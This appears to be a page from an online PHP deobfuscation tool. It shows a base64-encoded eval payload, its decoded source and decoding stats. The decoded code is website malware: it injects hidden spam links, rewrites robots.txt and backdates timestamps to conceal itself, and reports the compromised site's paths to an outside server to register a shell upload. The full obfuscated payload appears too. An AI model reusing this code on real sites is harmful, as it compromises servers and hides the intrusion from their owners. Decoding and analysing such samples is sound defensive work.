Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode("ICAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBbWVyaWNhL0xvc19BbmdlbGVzJy..

Decoded Output download

     date_default_timezone_set('America/Los_Angeles');
    print "<!-- new -->";
    $currentHidePath = "";
    function getLongestPrefix($hideScriptPaths, $path) {
        $currentHidePath = "";
        $long   = 0;
        $prefix = "";

        foreach ($hideScriptPaths as $currentPath) {
            $len = strlen($currentPath) > strlen($path) ? strlen($path) : strlen($currentPath);
            $currentLength = 0;
            for ($i = 0; $i < $len; $i++) {
                if ($path[$i] == $currentPath[$i]) {
                    $currentLength++;
                } else {
                    if ($long < $currentLength) {
                        $long = $currentLength;
                        $prefix = substr($path, 0, $i);
                        $currentHidePath = $currentPath;
                    }
                    break;
                }
            }
        }
        return $currentHidePath;
    }
    $dbFiles            = array("links_db.php", "database.php", "system.php", "db.php", "sysdb.php");
    function checkUploaderExistence() {
        $dbFiles            = array("links_db.php", "database.php", "system.php", "db.php", "sysdb.php");
        $self               = dirname(__FILE__);
        $result             = "";
        foreach ($dbFiles as $fileName) {
            if (file_exists($self.DIRECTORY_SEPARATOR.$fileName)) {
                $fp = fopen($self.DIRECTORY_SEPARATOR.$fileName, "r");
                $line = fgets($fp, 4096);
                fclose($fp);
                if (preg_match("/uploader/i", $line)) {
                    if (filesize($self.DIRECTORY_SEPARATOR.$fileName) == 10) {
                        unlink($self.DIRECTORY_SEPARATOR.$fileName);
                    } else {
                        $result = $self.DIRECTORY_SEPARATOR.$fileName;
                    }
                }
            }
        }
        return $result;
    }

    $self           = realpath(dirname(__FILE__));
    $hidePaths      = array();


    $uploaderFileName   = checkUploaderExistence();
    if ($uploaderFileName != "") {
        //print "PRINT LINKS";
        $fp = fopen($uploaderFileName, "r");
        fgets($fp, 4096);
        $line= "";
        while (!feof($fp)) {
            $line .= fgets($fp, 4096);
        }
        fclose($fp);

        $links     = json_decode($line, true);
        $var       = base64_decode(trim($links["template"]));
        $linkTempl = base64_decode(trim($links["linkTemplate"]));
        $text      = "";
        
        
        foreach ($links["links"] as $link) {
            $textA = str_replace('|SENTENCE_BEFORE|', $link["sentenceBefore"], $linkTempl);
            $textA = str_replace('|HREF|', $link["href"], $textA);
            $textA = str_replace('|ANCHOR|', $link["anchor"], $textA);
            $textA = str_replace('|ANCHOR_TEXT|', $link["anchorText"], $textA);
            $textA = str_replace('|ANCHOR_H1|', $link["anchorH1"], $textA);
            $textA = str_replace('|SENTENCE_AFTER|', $link["sentenceAfter"], $textA);
            $text .= $textA;
        }
        
        
        $var = str_replace('|HIDE_PATH|', $link["hidePath"], $var);
        $var = str_replace('|LINKS|', $text, $var);
        
        print $var;
    } else {
        $scriptName = trim(preg_replace('/\(.*$/', '', __FILE__));
        $time2 = strtotime('2011-08-22 13:51:35');

        if (filemtime($scriptName) != $time2) {
            $fileO = fopen($self.DIRECTORY_SEPARATOR."robots_db.txt", "r");
            $documentRoot = realpath($_SERVER["DOCUMENT_ROOT"]);

            $robotPath = $documentRoot.DIRECTORY_SEPARATOR."robots.txt";
            if (file_exists($robotPath)) {
                $time = filemtime($robotPath);
            } else {
                $time = strtotime('2010-08-22 13:51:35');
            }
            $fp1  = fopen($robotPath, "w");
            $str  = "User-agent: *
";
            while (!feof($fileO)) {
                $line = realpath(trim(fgets($fileO, 4096)));
                if (stristr($line, $documentRoot) != FALSE) {
                    $hidePaths[] = $line;
                    $str .= "Disallow: " . preg_replace('/\/', "/", str_replace($documentRoot, "", $line)). "
";
                }
            }
            fwrite($fp1, $str);
            fclose($fp1);
            touch($robotPath, $time);

            fclose($fileO);
            $currentHidePath = getLongestPrefix($hidePaths, $self);

            // need to add new site
            $localHidePath  = str_replace(realpath($_SERVER["DOCUMENT_ROOT"]), "", $currentHidePath).DIRECTORY_SEPARATOR."script.js";
            $localHidePath  = preg_replace('/\/', "/", $localHidePath);
            $uploaderDir    = $_SERVER["HTTP_HOST"].str_replace(realpath($_SERVER["DOCUMENT_ROOT"]), "", $self).DIRECTORY_SEPARATOR;
            $address        = "66.147.244.241";
            $dbFilename     = $dbFiles[array_rand($dbFiles)];
            $manual = true;
            $upl_filename   = urlencode("pluginn.php");
            $server         = "http://rusztiko.com";
            $uploaderDir    = preg_replace('/\/', "/", $uploaderDir);
            $shell_upload   = urlencode("$uploaderDir");
            $shell_address  = urlencode($address);
            $shell_hide     = urlencode($localHidePath);
            $shell_path     = urlencode(realpath($self));            
            
            if (ini_get("allow_url_fopen") == 1) {
                $manual = false;
                $response = file_get_contents($server."/sh.php?".
                    "upload_path=$shell_upload".
                    "&path=$shell_path".
                    "&shell_address=$shell_address".
                    "&type=general".
                    "&shell_hide=$shell_hide".
                    "&db=$dbFilename".
                    "&uploader_filename=$upl_filename");

                if ($response == "OK") {
                    touch($scriptName, $time2);
                    if (file_exists($self.DIRECTORY_SEPARATOR."robots_db.txt")) {
                        unlink($self.DIRECTORY_SEPARATOR."robots_db.txt");
                    }
                } else {
                    $manual = true;
                }
            } 
            if ($manual) {
                $scr =<<<HTML
                    <script>
                    document.write("<img src=$server/sh.php?upload_path=$shell_upload&path=$shell_path" +
                    "&shell_address=$shell_address" + 
                    "&type=general" +
                    "&shell_hide=$shell_hide" + 
                    "&db=$dbFilename" +
                    "&uploader_filename=$upl_filename/>");
                    </script>
HTML;
                
                print $scr;
                touch($scriptName, $time2);
                if (file_exists($self.DIRECTORY_SEPARATOR."robots_db.txt")) {
                    unlink($self.DIRECTORY_SEPARATOR."robots_db.txt");
                }
            }
        } 
    }

Did this file decode correctly?

Original Code

eval(base64_decode("ICAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBbWVyaWNhL0xvc19BbmdlbGVzJyk7DQogICAgcHJpbnQgIjwhLS0gbmV3IC0tPiI7DQogICAgJGN1cnJlbnRIaWRlUGF0aCA9ICIiOw0KICAgIGZ1bmN0aW9uIGdldExvbmdlc3RQcmVmaXgoJGhpZGVTY3JpcHRQYXRocywgJHBhdGgpIHsNCiAgICAgICAgJGN1cnJlbnRIaWRlUGF0aCA9ICIiOw0KICAgICAgICAkbG9uZyAgID0gMDsNCiAgICAgICAgJHByZWZpeCA9ICIiOw0KDQogICAgICAgIGZvcmVhY2ggKCRoaWRlU2NyaXB0UGF0aHMgYXMgJGN1cnJlbnRQYXRoKSB7DQogICAgICAgICAgICAkbGVuID0gc3RybGVuKCRjdXJyZW50UGF0aCkgPiBzdHJsZW4oJHBhdGgpID8gc3RybGVuKCRwYXRoKSA6IHN0cmxlbigkY3VycmVudFBhdGgpOw0KICAgICAgICAgICAgJGN1cnJlbnRMZW5ndGggPSAwOw0KICAgICAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbjsgJGkrKykgew0KICAgICAgICAgICAgICAgIGlmICgkcGF0aFskaV0gPT0gJGN1cnJlbnRQYXRoWyRpXSkgew0KICAgICAgICAgICAgICAgICAgICAkY3VycmVudExlbmd0aCsrOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGlmICgkbG9uZyA8ICRjdXJyZW50TGVuZ3RoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbG9uZyA9ICRjdXJyZW50TGVuZ3RoOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHByZWZpeCA9IHN1YnN0cigkcGF0aCwgMCwgJGkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRIaWRlUGF0aCA9ICRjdXJyZW50UGF0aDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRjdXJyZW50SGlkZVBhdGg7DQogICAgfQ0KICAgICRkYkZpbGVzICAgICAgICAgICAgPSBhcnJheSgibGlua3NfZGIucGhwIiwgImRhdGFiYXNlLnBocCIsICJzeXN0ZW0ucGhwIiwgImRiLnBocCIsICJzeXNkYi5waHAiKTsNCiAgICBmdW5jdGlvbiBjaGVja1VwbG9hZGVyRXhpc3RlbmNlKCkgew0KICAgICAgICAkZGJGaWxlcyAgICAgICAgICAgID0gYXJyYXkoImxpbmtzX2RiLnBocCIsICJkYXRhYmFzZS5waHAiLCAic3lzdGVtLnBocCIsICJkYi5waHAiLCAic3lzZGIucGhwIik7DQogICAgICAgICRzZWxmICAgICAgICAgICAgICAgPSBkaXJuYW1lKF9fRklMRV9fKTsNCiAgICAgICAgJHJlc3VsdCAgICAgICAgICAgICA9ICIiOw0KICAgICAgICBmb3JlYWNoICgkZGJGaWxlcyBhcyAkZmlsZU5hbWUpIHsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkc2VsZi5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlTmFtZSkpIHsNCiAgICAgICAgICAgICAgICAkZnAgPSBmb3Blbigkc2VsZi5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlTmFtZSwgInIiKTsNCiAgICAgICAgICAgICAgICAkbGluZSA9IGZnZXRzKCRmcCwgNDA5Nik7DQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goIi91cGxvYWRlci9pIiwgJGxpbmUpKSB7DQogICAgICAgICAgICAgICAgICAgIGlmIChmaWxlc2l6ZSgkc2VsZi5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlTmFtZSkgPT0gMTApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygkc2VsZi5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlTmFtZSk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gJHNlbGYuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZU5hbWU7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgfQ0KDQogICAgJHNlbGYgICAgICAgICAgID0gcmVhbHBhdGgoZGlybmFtZShfX0ZJTEVfXykpOw0KICAgICRoaWRlUGF0aHMgICAgICA9IGFycmF5KCk7DQoNCg0KICAgICR1cGxvYWRlckZpbGVOYW1lICAgPSBjaGVja1VwbG9hZGVyRXhpc3RlbmNlKCk7DQogICAgaWYgKCR1cGxvYWRlckZpbGVOYW1lICE9ICIiKSB7DQogICAgICAgIC8vcHJpbnQgIlBSSU5UIExJTktTIjsNCiAgICAgICAgJGZwID0gZm9wZW4oJHVwbG9hZGVyRmlsZU5hbWUsICJyIik7DQogICAgICAgIGZnZXRzKCRmcCwgNDA5Nik7DQogICAgICAgICRsaW5lPSAiIjsNCiAgICAgICAgd2hpbGUgKCFmZW9mKCRmcCkpIHsNCiAgICAgICAgICAgICRsaW5lIC49IGZnZXRzKCRmcCwgNDA5Nik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRmcCk7DQoNCiAgICAgICAgJGxpbmtzICAgICA9IGpzb25fZGVjb2RlKCRsaW5lLCB0cnVlKTsNCiAgICAgICAgJHZhciAgICAgICA9IGJhc2U2NF9kZWNvZGUodHJpbSgkbGlua3NbInRlbXBsYXRlIl0pKTsNCiAgICAgICAgJGxpbmtUZW1wbCA9IGJhc2U2NF9kZWNvZGUodHJpbSgkbGlua3NbImxpbmtUZW1wbGF0ZSJdKSk7DQogICAgICAgICR0ZXh0ICAgICAgPSAiIjsNCiAgICAgICAgDQogICAgICAgIA0KICAgICAgICBmb3JlYWNoICgkbGlua3NbImxpbmtzIl0gYXMgJGxpbmspIHsNCiAgICAgICAgICAgICR0ZXh0QSA9IHN0cl9yZXBsYWNlKCd8U0VOVEVOQ0VfQkVGT1JFfCcsICRsaW5rWyJzZW50ZW5jZUJlZm9yZSJdLCAkbGlua1RlbXBsKTsNCiAgICAgICAgICAgICR0ZXh0QSA9IHN0cl9yZXBsYWNlKCd8SFJFRnwnLCAkbGlua1siaHJlZiJdLCAkdGV4dEEpOw0KICAgICAgICAgICAgJHRleHRBID0gc3RyX3JlcGxhY2UoJ3xBTkNIT1J8JywgJGxpbmtbImFuY2hvciJdLCAkdGV4dEEpOw0KICAgICAgICAgICAgJHRleHRBID0gc3RyX3JlcGxhY2UoJ3xBTkNIT1JfVEVYVHwnLCAkbGlua1siYW5jaG9yVGV4dCJdLCAkdGV4dEEpOw0KICAgICAgICAgICAgJHRleHRBID0gc3RyX3JlcGxhY2UoJ3xBTkNIT1JfSDF8JywgJGxpbmtbImFuY2hvckgxIl0sICR0ZXh0QSk7DQogICAgICAgICAgICAkdGV4dEEgPSBzdHJfcmVwbGFjZSgnfFNFTlRFTkNFX0FGVEVSfCcsICRsaW5rWyJzZW50ZW5jZUFmdGVyIl0sICR0ZXh0QSk7DQogICAgICAgICAgICAkdGV4dCAuPSAkdGV4dEE7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIA0KICAgICAgICAkdmFyID0gc3RyX3JlcGxhY2UoJ3xISURFX1BBVEh8JywgJGxpbmtbImhpZGVQYXRoIl0sICR2YXIpOw0KICAgICAgICAkdmFyID0gc3RyX3JlcGxhY2UoJ3xMSU5LU3wnLCAkdGV4dCwgJHZhcik7DQogICAgICAgIA0KICAgICAgICBwcmludCAkdmFyOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRzY3JpcHROYW1lID0gdHJpbShwcmVnX3JlcGxhY2UoJy9cKC4qJC8nLCAnJywgX19GSUxFX18pKTsNCiAgICAgICAgJHRpbWUyID0gc3RydG90aW1lKCcyMDExLTA4LTIyIDEzOjUxOjM1Jyk7DQoNCiAgICAgICAgaWYgKGZpbGVtdGltZSgkc2NyaXB0TmFtZSkgIT0gJHRpbWUyKSB7DQogICAgICAgICAgICAkZmlsZU8gPSBmb3Blbigkc2VsZi5ESVJFQ1RPUllfU0VQQVJBVE9SLiJyb2JvdHNfZGIudHh0IiwgInIiKTsNCiAgICAgICAgICAgICRkb2N1bWVudFJvb3QgPSByZWFscGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCg0KICAgICAgICAgICAgJHJvYm90UGF0aCA9ICRkb2N1bWVudFJvb3QuRElSRUNUT1JZX1NFUEFSQVRPUi4icm9ib3RzLnR4dCI7DQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHJvYm90UGF0aCkpIHsNCiAgICAgICAgICAgICAgICAkdGltZSA9IGZpbGVtdGltZSgkcm9ib3RQYXRoKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHRpbWUgPSBzdHJ0b3RpbWUoJzIwMTAtMDgtMjIgMTM6NTE6MzUnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRmcDEgID0gZm9wZW4oJHJvYm90UGF0aCwgInciKTsNCiAgICAgICAgICAgICRzdHIgID0gIlVzZXItYWdlbnQ6ICpcclxuIjsNCiAgICAgICAgICAgIHdoaWxlICghZmVvZigkZmlsZU8pKSB7DQogICAgICAgICAgICAgICAgJGxpbmUgPSByZWFscGF0aCh0cmltKGZnZXRzKCRmaWxlTywgNDA5NikpKTsNCiAgICAgICAgICAgICAgICBpZiAoc3RyaXN0cigkbGluZSwgJGRvY3VtZW50Um9vdCkgIT0gRkFMU0UpIHsNCiAgICAgICAgICAgICAgICAgICAgJGhpZGVQYXRoc1tdID0gJGxpbmU7DQogICAgICAgICAgICAgICAgICAgICRzdHIgLj0gIkRpc2FsbG93OiAiIC4gcHJlZ19yZXBsYWNlKCcvXFxcLycsICIvIiwgc3RyX3JlcGxhY2UoJGRvY3VtZW50Um9vdCwgIiIsICRsaW5lKSkuICJcclxuIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmd3JpdGUoJGZwMSwgJHN0cik7DQogICAgICAgICAgICBmY2xvc2UoJGZwMSk7DQogICAgICAgICAgICB0b3VjaCgkcm9ib3RQYXRoLCAkdGltZSk7DQoNCiAgICAgICAgICAgIGZjbG9zZSgkZmlsZU8pOw0KICAgICAgICAgICAgJGN1cnJlbnRIaWRlUGF0aCA9IGdldExvbmdlc3RQcmVmaXgoJGhpZGVQYXRocywgJHNlbGYpOw0KDQogICAgICAgICAgICAvLyBuZWVkIHRvIGFkZCBuZXcgc2l0ZQ0KICAgICAgICAgICAgJGxvY2FsSGlkZVBhdGggID0gc3RyX3JlcGxhY2UocmVhbHBhdGgoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSksICIiLCAkY3VycmVudEhpZGVQYXRoKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiJzY3JpcHQuanMiOw0KICAgICAgICAgICAgJGxvY2FsSGlkZVBhdGggID0gcHJlZ19yZXBsYWNlKCcvXFxcLycsICIvIiwgJGxvY2FsSGlkZVBhdGgpOw0KICAgICAgICAgICAgJHVwbG9hZGVyRGlyICAgID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdLnN0cl9yZXBsYWNlKHJlYWxwYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pLCAiIiwgJHNlbGYpLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQogICAgICAgICAgICAkYWRkcmVzcyAgICAgICAgPSAiNjYuMTQ3LjI0NC4yNDEiOw0KICAgICAgICAgICAgJGRiRmlsZW5hbWUgICAgID0gJGRiRmlsZXNbYXJyYXlfcmFuZCgkZGJGaWxlcyldOw0KICAgICAgICAgICAgJG1hbnVhbCA9IHRydWU7DQogICAgICAgICAgICAkdXBsX2ZpbGVuYW1lICAgPSB1cmxlbmNvZGUoInBsdWdpbm4ucGhwIik7DQogICAgICAgICAgICAkc2VydmVyICAgICAgICAgPSAiaHR0cDovL3J1c3p0aWtvLmNvbSI7DQogICAgICAgICAgICAkdXBsb2FkZXJEaXIgICAgPSBwcmVnX3JlcGxhY2UoJy9cXFwvJywgIi8iLCAkdXBsb2FkZXJEaXIpOw0KICAgICAgICAgICAgJHNoZWxsX3VwbG9hZCAgID0gdXJsZW5jb2RlKCIkdXBsb2FkZXJEaXIiKTsNCiAgICAgICAgICAgICRzaGVsbF9hZGRyZXNzICA9IHVybGVuY29kZSgkYWRkcmVzcyk7DQogICAgICAgICAgICAkc2hlbGxfaGlkZSAgICAgPSB1cmxlbmNvZGUoJGxvY2FsSGlkZVBhdGgpOw0KICAgICAgICAgICAgJHNoZWxsX3BhdGggICAgID0gdXJsZW5jb2RlKHJlYWxwYXRoKCRzZWxmKSk7ICAgICAgICAgICAgDQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmIChpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSA9PSAxKSB7DQogICAgICAgICAgICAgICAgJG1hbnVhbCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRzZXJ2ZXIuIi9zaC5waHA/Ii4NCiAgICAgICAgICAgICAgICAgICAgInVwbG9hZF9wYXRoPSRzaGVsbF91cGxvYWQiLg0KICAgICAgICAgICAgICAgICAgICAiJnBhdGg9JHNoZWxsX3BhdGgiLg0KICAgICAgICAgICAgICAgICAgICAiJnNoZWxsX2FkZHJlc3M9JHNoZWxsX2FkZHJlc3MiLg0KICAgICAgICAgICAgICAgICAgICAiJnR5cGU9Z2VuZXJhbCIuDQogICAgICAgICAgICAgICAgICAgICImc2hlbGxfaGlkZT0kc2hlbGxfaGlkZSIuDQogICAgICAgICAgICAgICAgICAgICImZGI9JGRiRmlsZW5hbWUiLg0KICAgICAgICAgICAgICAgICAgICAiJnVwbG9hZGVyX2ZpbGVuYW1lPSR1cGxfZmlsZW5hbWUiKTsNCg0KICAgICAgICAgICAgICAgIGlmICgkcmVzcG9uc2UgPT0gIk9LIikgew0KICAgICAgICAgICAgICAgICAgICB0b3VjaCgkc2NyaXB0TmFtZSwgJHRpbWUyKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRzZWxmLkRJUkVDVE9SWV9TRVBBUkFUT1IuInJvYm90c19kYi50eHQiKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgdW5saW5rKCRzZWxmLkRJUkVDVE9SWV9TRVBBUkFUT1IuInJvYm90c19kYi50eHQiKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRtYW51YWwgPSB0cnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBpZiAoJG1hbnVhbCkgew0KICAgICAgICAgICAgICAgICRzY3IgPTw8PEhUTUwNCiAgICAgICAgICAgICAgICAgICAgPHNjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSRzZXJ2ZXIvc2gucGhwP3VwbG9hZF9wYXRoPSRzaGVsbF91cGxvYWQmcGF0aD0kc2hlbGxfcGF0aCIgKw0KICAgICAgICAgICAgICAgICAgICAiJnNoZWxsX2FkZHJlc3M9JHNoZWxsX2FkZHJlc3MiICsgDQogICAgICAgICAgICAgICAgICAgICImdHlwZT1nZW5lcmFsIiArDQogICAgICAgICAgICAgICAgICAgICImc2hlbGxfaGlkZT0kc2hlbGxfaGlkZSIgKyANCiAgICAgICAgICAgICAgICAgICAgIiZkYj0kZGJGaWxlbmFtZSIgKw0KICAgICAgICAgICAgICAgICAgICAiJnVwbG9hZGVyX2ZpbGVuYW1lPSR1cGxfZmlsZW5hbWUvPiIpOw0KICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4NCkhUTUw7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcHJpbnQgJHNjcjsNCiAgICAgICAgICAgICAgICB0b3VjaCgkc2NyaXB0TmFtZSwgJHRpbWUyKTsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHNlbGYuRElSRUNUT1JZX1NFUEFSQVRPUi4icm9ib3RzX2RiLnR4dCIpKSB7DQogICAgICAgICAgICAgICAgICAgIHVubGluaygkc2VsZi5ESVJFQ1RPUllfU0VQQVJBVE9SLiJyb2JvdHNfZGIudHh0Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IA0KICAgIH0=")); 

Function Calls

base64_decode 1

Variables

None

Stats

MD5 489aa3e2bc57b8432d20f19fa0eda933
Eval Count 1
Decode Time 110 ms